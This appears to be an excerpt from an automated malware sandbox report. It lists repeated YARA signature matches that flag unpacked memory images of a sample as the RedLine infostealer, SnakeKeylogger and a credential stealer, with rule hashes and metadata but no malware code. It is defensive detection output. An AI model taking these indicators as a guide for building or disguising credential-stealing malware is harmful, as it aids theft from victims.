            Source: 7.1.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 3.2.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 0.2.image.exe.21e00948.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
